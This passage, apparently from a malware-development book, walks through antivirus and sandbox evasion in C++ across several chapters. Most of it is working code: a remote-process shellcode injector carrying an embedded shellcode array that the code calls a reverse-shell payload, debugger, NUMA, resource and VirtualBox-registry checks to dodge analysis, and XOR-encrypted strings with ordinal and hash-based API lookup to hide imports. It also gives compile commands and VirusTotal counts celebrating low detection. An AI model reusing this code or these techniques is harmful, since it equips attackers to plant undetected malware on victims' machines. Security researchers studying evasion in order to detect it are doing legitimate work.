"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

HANDLE ph; // process handle


HANDLE rt; // remote thread
PVOID rb; // remote buffer

DWORD pid; // process ID


pid = atoi(argv[1]);

// what is my name???
if (strstr(argv[0], "hack2.exe") == NULL) {
printf("What's my name? WTF?? :(\n");
return -2;
}

// "ask" the OS if any debugger is present


if (IsDebuggerPresent()) {
printf("attached debugger detected :(\n");
return -2;
}

// check NUMA
if (checkNUMA()) {
printf("NUMA memory allocate failed :( \n");
return -2;
}

// check resources
if (checkResources() == false) {
printf("possibly launched in sandbox :(\n");
return -2;
}

// allocate and fill 100 MB of memory


char *mem = NULL;
mem = (char *) malloc(100000000);

313
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);

// parse process ID
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(pid));
printf("PID: %i", pid);

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb,
NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
}

Let’s go to compile:

and run in our victim’s machine (Windows 10 x64):

314
As you can see, our malicious logic did not start as we are in a virtual machine
with 1 core CPU.
Let’s go to upload this variant to VirusTotal:

https://www.virustotal.com/gui/file/5658fd8d326dcbb01492c0d5644cdeb69d
c8d64acbf939a91b25a3caa53f7a61/detection
So, 8 of 67 AV engines detect our file as malicious.
As usually, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
To conclude these examples show it is pretty simple to bypass AV when you
exploit their weaknesses. It only requires some knowledge on windows system
and how AV works.
Also we can try to detect devices and vendor names of our machine, search VM-
specific artifacts, check file, process or windows names, check screen resolution,
etc. I will show these techniques and real examples in the future in separate
posts.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.

315
The Antivirus Hacker’s Handbook
Wikileaks - Bypass AV Dynamic Analysis
DeepSec 2013 Talk: The Joys of Detecting Malicious Software
IsDebuggerPresent
VirtualAllocExNuma
NUMA Support
Source code on Github

38. AV engines evasion techniques - part 4. Simple C++


example.

This section is a result of self-researching another AV evasion trick. An example


how to bypass AV engines in simple C++ malware.
This trick regarding how you hide your windows API calls from static analysis.
When you want to interact with the windows operating system, then you need
to call windows API for example from user32.dll from your code such as
MessageBoxA or any other API. If you specify the calls from your code, then
the compiler will include the MessageBoxA or all the API’s needed in the import
table in your PE. it would give ideas for the malware analyst for more closely
investigate you malware.

what is ordinals?
Each function exported by a DLL is identified by a numeric ordinal and optionally
a name. Likewise, functions can be imported from a DLL either by ordinal or
by name. The ordinal represents the position of the function’s address pointer
in the DLL Export Address table.
In one of my posts I wrote a simple python script which enumerates the exported
functions from the provided DLL (dll-def.py):

316
import pefile
import sys
import os.path

dll = pefile.PE(sys.argv[1])
dll_basename = os.path.splitext(sys.argv[1])[0]

try:
with open(sys.argv[1]
.split("/")[-1]
.replace(".dll", ".def"), "w") as f:
f.write("EXPORTS\n")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
f.write(
'{}={}.{} @{}\n'.format(
export.name.decode(),
dll_basename,
export.name.decode(),
export.ordinal))
except:
print ("failed to create .def file :(")
else:
print ("successfully create .def file :)")

Let’s go to run it for user32.dll:


python3 dll-def.py user32.dll

As you can see, for example, for MessageBoxA ordinal is 2039, for MessageBoxW
ordinal is 2046.

practical example.
Let’s go to look at the practical example.
The ordinals might change on each release of the dll. We do not hardcode it in

317
our code. We need to look up the ordinals by iterating the list and make a string
comparison. This activity is counterproductive to our objective to hide the API
name in our code since we need to make a string comparison during the lookup.
This technique is very simple.
First of all, I used a trick from my post (also included to this book):
// encrypted function name (MessageBoxA)
unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2,
0x17, 0x31, 0xa, 0x1b, 0x33 };

// encrypted module name (user32.dll)


unsigned char s_dll[] = { 0x18, 0xa, 0x16, 0x7, 0x43,
0x57, 0x5c, 0x17, 0x9, 0xf };

// key
char s_key[] = "mysupersecretkey";

// XOR decrypt
void XOR(char * data, size_t data_len, char * key,
size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ˆ key[j];
j++;
}
}

And use python script to XOR encrypt our function name:


import sys
import os
import hashlib
import string

## XOR function to encrypt data


def xor(data, key):
key = str(key)
l = len(key)
output_str = ""

for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)

318
output_str += chr(ordd(current) ˆ ord(current_key))
return output_str

## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key

## key for encrypt/decrypt


my_secret_key = "mysupersecretkey"

ciphertext, p_key = xor_encrypt("user32.dll",


my_secret_key)
ciphertext, p_key = xor_encrypt("MessageBoxA",
my_secret_key)

So in our case, we encrypt user32.dll and MessageBoxA strings.


In general, we use the Name Pointer Table (NPT) and Export Ordinal Table
(EOT) to find export ordinals.
So I used function for get export directory table:
// get export directory table
PIMAGE_EXPORT_DIRECTORY getEDT(HMODULE module) {
PBYTE base; // base address of module
PIMAGE_FILE_HEADER img_file_header; // COFF file header
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
DWORD rva; // relative virtual address of EDT
PIMAGE_DOS_HEADER img_dos_header; // MS-DOS stub
PIMAGE_OPTIONAL_HEADER img_opt_header; // "optional" header
PDWORD sig; // PE signature

// Start at the base of the module.


// The MS-DOS stub begins there.
base = (PBYTE)module;
img_dos_header = (PIMAGE_DOS_HEADER)module;

// Get the PE signature and verify it.


sig = (DWORD*)(base + img_dos_header->e_lfanew);
if (IMAGE_NT_SIGNATURE != *sig) {
// bad signature -- invalid image or module handle
return NULL;
}

319
// Get the COFF file header.
img_file_header = (PIMAGE_FILE_HEADER)(sig + 1);

// get the "optional" header


// (it's not actually optional for executables).
img_opt_header = (PIMAGE_OPTIONAL_HEADER)(img_file_header + 1);

// finally, get the export directory table.


if (IMAGE_DIRECTORY_ENTRY_EXPORT
>= img_opt_header->
NumberOfRvaAndSizes) {
// this image doesn't have an
// export directory table.
return NULL;
}
rva = img_opt_header->
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress;
edt = (PIMAGE_EXPORT_DIRECTORY)(base + rva);

return edt;
}

And searches a module’s name pointer table (NPT) for the named procedure:
// binary search
DWORD findFuncB(PDWORD npt, DWORD size, PBYTE base, LPCSTR proc) {
INT cmp;
DWORD max;
DWORD mid;
DWORD min;

min = 0;
max = size - 1;

while (min <= max) {


mid = (min + max) >> 1;
cmp = strcmp((LPCSTR)(npt[mid] + base), proc);

if (cmp < 0) {
min = mid + 1;
} else if (cmp > 0) {
max = mid - 1;
} else {
return mid;

320
}
}
return -1;
}

As you can see, is simply a convenience function that does the binary search of
the NPT.
Finally, get ordinal:
// get func ordinal
DWORD getFuncOrd(HMODULE module, LPCSTR proc) {
PBYTE base; // module base address
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
PWORD eot; // export ordinal table (EOT)
DWORD i; // index into NPT and/or EOT
PDWORD npt; // name pointer table (NPT)

base = (PBYTE)module;

// get the export directory table,


// from which we can find the name pointer
// table and export ordinal table.
edt = getEDT(module);

// get the name pointer table and


// search it for the named procedure.
npt = (DWORD*)(base + edt->AddressOfNames);
i = findFuncB(npt, edt->NumberOfNames, base, proc);
if (-1 == i) {
// the procedure was not found
// in the module's name pointer table.
return -1;
}

// get the export ordinal table.


eot = (WORD*)(base + edt->AddressOfNameOrdinals);

// actual ordinal is ordinal


// from EOT plus "ordinal base" from EDT.
return eot[i] + edt->Base;
}

And main function idea without error checking:


int main(int argc, char* argv[]) {
XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key));

321
XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));
LoadLibrary((LPCSTR) s_dll)
HMODULE module = GetModuleHandle((LPCSTR) s_dll);
DWORD ord = getFuncOrd(module, (LPCSTR) s_mb);
fnMessageBoxA myMessageBoxA =
(fnMessageBoxA)GetProcAddress(
module, MAKEINTRESOURCE(ord));
myMessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}

So the full source code of our example:


/*
* hack.cpp - Find function from DLL
via ordinal. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/18/simple-malware-av-evasion-4.html
*/
#include <stdio.h>
#include "windows.h"

typedef UINT(CALLBACK* fnMessageBoxA)(


HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

// encrypted function name (MessageBoxA)


unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2,
0x17, 0x31, 0xa, 0x1b, 0x33 };

// encrypted module name (user32.dll)


unsigned char s_dll[] = { 0x18, 0xa, 0x16, 0x7, 0x43,
0x57, 0x5c, 0x17, 0x9, 0xf };

// key
char s_key[] = "mysupersecretkey";

// XOR decrypt
void XOR(char * data, size_t data_len, char * key,
size_t key_len) {
int j;
j = 0;

322
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ˆ key[j];
j++;
}
}

// binary search
DWORD findFuncB(PDWORD npt, DWORD size, PBYTE base, LPCSTR proc) {
INT cmp;
DWORD max;
DWORD mid;
DWORD min;

min = 0;
max = size - 1;

while (min <= max) {


mid = (min + max) >> 1;
cmp = strcmp((LPCSTR)(npt[mid] + base), proc);

if (cmp < 0) {
min = mid + 1;
} else if (cmp > 0) {
max = mid - 1;
} else {
return mid;
}
}
return -1;
}

// get export directory table


PIMAGE_EXPORT_DIRECTORY getEDT(HMODULE module) {
PBYTE base; // base address of module
PIMAGE_FILE_HEADER img_file_header; // COFF file header
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
DWORD rva; // relative virtual address of EDT
PIMAGE_DOS_HEADER img_dos_header; // MS-DOS stub
PIMAGE_OPTIONAL_HEADER img_opt_header; // "optional" header
PDWORD sig; // PE signature

// start at the base of the module.


// The MS-DOS stub begins there.
base = (PBYTE)module;

323
img_dos_header = (PIMAGE_DOS_HEADER)module;

// get the PE signature and verify it.


sig = (DWORD*)(base + img_dos_header->e_lfanew);
if (IMAGE_NT_SIGNATURE != *sig) {
// bad signature -- invalid image or module handle
return NULL;
}

// get the COFF file header.


img_file_header = (PIMAGE_FILE_HEADER)(sig + 1);

// get the "optional" header


// (it's not actually optional for executables).
img_opt_header = (PIMAGE_OPTIONAL_HEADER)
(img_file_header + 1);

// Finally, get the export directory table.


if (IMAGE_DIRECTORY_ENTRY_EXPORT
>= img_opt_header->
NumberOfRvaAndSizes) {
// this image doesn't have an
// export directory table.
return NULL;
}
rva = img_opt_header->
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress;
edt = (PIMAGE_EXPORT_DIRECTORY)(base + rva);

return edt;
}

// get func ordinal


DWORD getFuncOrd(HMODULE module, LPCSTR proc) {
PBYTE base; // module base address
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
PWORD eot; // export ordinal table (EOT)
DWORD i; // index into NPT and/or EOT
PDWORD npt; // name pointer table (NPT)

base = (PBYTE)module;

// get the export directory table,


// from which we can find the name pointer

324
// table and export ordinal table.
edt = getEDT(module);

// get the name pointer table and


// search it for the named procedure.
npt = (DWORD*)(base + edt->AddressOfNames);
i = findFuncB(npt, edt->NumberOfNames, base, proc);
if (-1 == i) {
// the procedure was not found in
// the module's name pointer table.
return -1;
}

// get the export ordinal table.


eot = (WORD*)(base + edt->AddressOfNameOrdinals);

// actual ordinal is ordinal


// from EOT plus "ordinal base" from EDT.
return eot[i] + edt->Base;
}

int main(int argc, char* argv[]) {


XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key));
XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));

if (NULL == LoadLibrary((LPCSTR) s_dll)) {


printf("failed to load library :( %s\n", s_dll);
return -2;
}

HMODULE module = GetModuleHandle((LPCSTR) s_dll);


if (NULL == module) {
printf("failed to get a handle to %s\n", s_dll);
return -2;
}

DWORD ord = getFuncOrd(module, (LPCSTR) s_mb);


if (-1 == ord) {
printf("failed to find ordinal %s\n", s_mb);
return -2;
}

fnMessageBoxA myMessageBoxA =
(fnMessageBoxA)GetProcAddress(
module, MAKEINTRESOURCE(ord));

325
myMessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}

demo
Let’s go to compile our example:
i686-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings \
-Wint-to-pointer-cast -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run:
.\hack.exe

As you can see, everything is work perfectly, for purity of the experiment I add

326
one line to my hack.cpp in main function:
//..
DWORD ord = getFuncOrd(module, (LPCSTR) s_mb);
if (-1 == ord) {
printf("failed to find ordinal %s\n", s_mb);
return -2;
}
printf("MessageBoxA ordinal is %d\n", ord);
//..

Compile and run:

As you can see, our malware successfully find correct ordinal. Perfect :)
String search result:
strings -n 8 hack.exe | grep MessageBox

As you can see no MessageBox in strings check. So this is how you hide your
windows API calls from static analysis.
Let’s go to upload to VirusTotal:

327
https://www.virustotal.com/gui/file/f75d7f5f33fc5c5e03ca22bbeda0454cd9b6
aab3009fdd109433bc6208f3d301/detection
So 6 of 68 AV engines detect our file as malicious
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
pe file format
pefile - python module
XOR
source code in github

39. AV engines evasion techniques - part 5. Simple C++


example.

This section is a result of self-researching another AV evasion trick. An example


how to bypass AV engines in simple C++ malware.

hashing function names


This is a simple but efficient technique for hiding WinAPI calls. It is calling
functions by hash names and it’s simple and often used in the “wild”.

328
Let’s look all at an example and you’ll understand that it’s not so hard.

standard calling
Let’s look at an example:
#include <windows.h>
#include <stdio.h>

int main() {
MessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}

Compile:
i686-w64-mingw32-g++ meow.cpp -o meow.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

and run:

329
As expected, it’s just a pop-up window.
Then run strings:
strings -n 8 meow.exe | grep MessageBox

As you can see, the WinAPI function are explicitly read in the basic static
analysis and:

330
visible in the application’s import table.

hashing
Now let’s hide the WinAPI function MessageBoxA we are using from malware
analysts. Let’s hash it:
# simple stupid hashing example
def myHash(data):
hash = 0x35
for i in range(0, len(data)):
hash += ord(data[i]) + (hash << 1)
print (hash)
return hash

myHash("MessageBoxA")

and run it:


python3 myhash.py

331
practical example
What’s the main idea? The main idea is we create code where we find WinAPI
function address by it’s hashing name via enumeration exported WinAPI func-
tions.
First of all, let’s declare a hash function identical in logic to the python code:
DWORD calcMyHash(char* data) {
DWORD hash = 0x35;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}
return hash;
}

Then, I declared function which find Windows API function address by comparing
it’s hash:
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header =
(PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)h + img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)h +
img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)h +

332
img_edt->AddressOfNames);
PWORD fOrd = (PWORD)((LPBYTE)h +
img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}

The logic here is really simple. first we go through the PE headers to the
exported functions we need. In the loop, we will look at and compare the hash
passed to our function with the hashes of the functions in the export table and,
as soon as we find a match, exit the loop:
//...
for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
//...

Then we declare prototype of our function:


typedef UINT(CALLBACK* fnMessageBoxA)(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

and main():
int main() {
HMODULE mod = LoadLibrary("user32.dll");
LPVOID addr = getAPIAddr(mod, 17036696);

333
printf("0x%p\n", addr);
fnMessageBoxA myMessageBoxA = (fnMessageBoxA)addr;
myMessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}

The full source code of our malware is:


/*
* hack.cpp - hashing Win32API functions. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/22/simple-malware-av-evasion-5.html
*/
#include <windows.h>
#include <stdio.h>

typedef UINT(CALLBACK* fnMessageBoxA)(


HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

DWORD calcMyHash(char* data) {


DWORD hash = 0x35;
for (int i = 0; i < strlen(data); i++) {
hash += data[i] + (hash << 1);
}

334
return hash;
}

static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {


PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)(
(LPBYTE)h + img_dos_header->e_lfanew);
PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)(
(LPBYTE)h + img_nt_header->
OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress);
PDWORD fAddr = (PDWORD)((LPBYTE)h +
img_edt->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)h +
img_edt->AddressOfNames);
PWORD fOrd = (PWORD)((LPBYTE)h +
img_edt->AddressOfNameOrdinals);

for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {


LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);

if (calcMyHash(pFuncName) == myHash) {
printf("successfully found! %s - %d\n",
pFuncName, myHash);
return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
}
}
return nullptr;
}

int main() {
HMODULE mod = LoadLibrary("user32.dll");
LPVOID addr = getAPIAddr(mod, 17036696);
printf("0x%p\n", addr);
fnMessageBoxA myMessageBoxA = (fnMessageBoxA)addr;
myMessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}

demo
Let’s go to compile our malware hack.cpp:
i686-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \

335
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run:
.\hack.exe

336
As you can see, our logic is worked!!! Perfect :)
What about strings?
strings -n 8 hack.exe | grep MessageBox

And let’s go to see Import Address Table:

If we delve into the investigate of the malware, we, of course, will find our hashes,
strings like user32.dll, and so on. But this is just a case study.
Let’s go to upload to VirusTotal:

337
https://www.virustotal.com/gui/file/d33210e3d7f9629d3465b2a0cec0c490d225
4fa1b9a2fd047457bd9046bc0eee/detection
So 4 of 65 AV engines detect our file as malicious
Notice that we evasion Windows Defender :)
But what about WinAPI functions in classic DLL injection?
I will self-research and write in a next post.
In real malware, hashes are additionally protected by mathematical functions
and additionally encrypted.
For example Carbanak uses several AV engines evasion techniques,
one of them is WinAPI call hashing.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
pe file format
Carbanak
source code in github

338
40. AV/VM engines evasion techniques - part 6. Simple
C++ example.

This section is a result of self-researching another VM evasion trick. An example


how to bypass Oracle VirtualBox in simple C++ malware via Windows Registry.

registry keys
Registry keys and it’s values may be queries via WinAPI calls. In this post
I consider how to detect VM environment via kernel32.dll functions like
RegOpenKeyExA and RegQueryValueExA.
The function RegOpenKeyExA has the following syntax:
LSTATUS RegOpenKeyExA(
[in] HKEY hKey,
[in, optional] LPCSTR lpSubKey,
[in] DWORD ulOptions,
[in] REGSAM samDesired,
[out] PHKEY phkResult
);

which opens the specified registry key.


Another function RegQueryValueExA retrieves the type and data for the specified
value name associated with an open registry key:
LSTATUS RegQueryValueExA(
[in] HKEY hKey,
[in, optional] LPCSTR lpValueName,
LPDWORD lpReserved,
[out, optional] LPDWORD lpType,
[out, optional] LPBYTE lpData,

339
[in, out, optional] LPDWORD lpcbData
);

1. check if specified registry paths exist


For checking this I can use the following logic:
int reg_key_ex(HKEY hKeyRoot, char* lpSubKey) {
HKEY hKey = nullptr;
LONG ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0,
KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegCloseKey(hKey);
return TRUE;
}
return FALSE;
}

So as you can see I just check if registry key path exists. Return TRUE if exists,
return FALSE otherwise.

2. check if specified registry key contain value


For example something like this logic:
int reg_key_compare(HKEY hKeyRoot, char* lpSubKey, char*
regVal, char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ,
&hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueExA(hKey, regVal, NULL, NULL,
(LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}

This function logic is also quite simple. We check value of the registry key via
RegQueryValueExA in which the result of function RegOpenKeyExA is the first

340
parameter.
I will only consider Oracle VirtualBox. For another VMs/sandboxes the tricks
is the same.

practical example
So let’s go to consider practical example. Let’s take a look at the complete
source code:
/*
* hack.cpp
* classic payload injection with
VM virtualbox evasion tricks
* author: @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/04/09/malware-av-evasion-6.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// reverse shell payload (without encryption)


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"

341
"\x2e\x2e\x5e\x3d\x00";

unsigned int my_payload_len = sizeof(my_payload);

int reg_key_ex(HKEY hKeyRoot, char* lpSubKey) {


HKEY hKey = nullptr;
LONG ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0,
KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegCloseKey(hKey);
return TRUE;
}
return FALSE;
}

int reg_key_compare(HKEY hKeyRoot, char* lpSubKey,


char* regVal, char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ,
&hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueExA(hKey, regVal, NULL, NULL,
(LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}

int main(int argc, char* argv[]) {


HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer

if (reg_key_ex(HKEY_LOCAL_MACHINE,
"HARDWARE\\ACPI\\FADT\\VBOX__")) {
printf("VirtualBox VM reg path value detected :(\n");
return -2;
}

342
if (reg_key_compare(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"SystemProductName", "VirtualBox")) {
printf("VirtualBox VM reg key value detected :(\n");
return -2;
}

if (reg_key_compare(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\SystemInformation",
"BiosVersion", "VirtualBox")) {
printf("VirtualBox VM BIOS version detected :(\n");
return -2;
}

// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, my_payload_len,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
my_payload_len, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}

As you can see it’s just classic payload injection with some VM VirtualBox
detection tricks via Windows Registry.
Check path: HKLM\HARDWARE\ACPI\FADT\VBOX_:

343
Enumerating reg key SystemProductName from
HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation
and compare with VirtualBox string:

and BIOS version key BiosVersion from same path:

344
Note that in all cases key names are case-insensitive.

demo
Let’s go to compile this malware hack.cpp:
i686-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run (Windows 10 x64 in my case):

345
Let’s go to upload to VirusTotal:

https://www.virustotal.com/gui/file/e4d265297f08a5769d2f61aafb3040779c5f
31f699e66ad259e66d62f1bacb03/detection
So 8 of 68 AV engines detect our file as malicious
If we delve into the investigate of the real-life malware and scenarios, we, of
course, will find many other specified registry paths and keys.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
evasion techniques by check point software technologies ltd
classic payload injection
AV engines evasion part 1
AV engines evasion part 2
AV engines evasion part 3
AV engines evasion part 4
AV engines evasion part 5
source code in github

346
41. malware AV evasion: part 7. Disable Windows De-
fender. Simple C++ example.

This post is the result of self-researching one of the most common tricks in the
malware in the wild.

windows defender
The anti-malware software Windows Defender (now known as Microsoft Defender
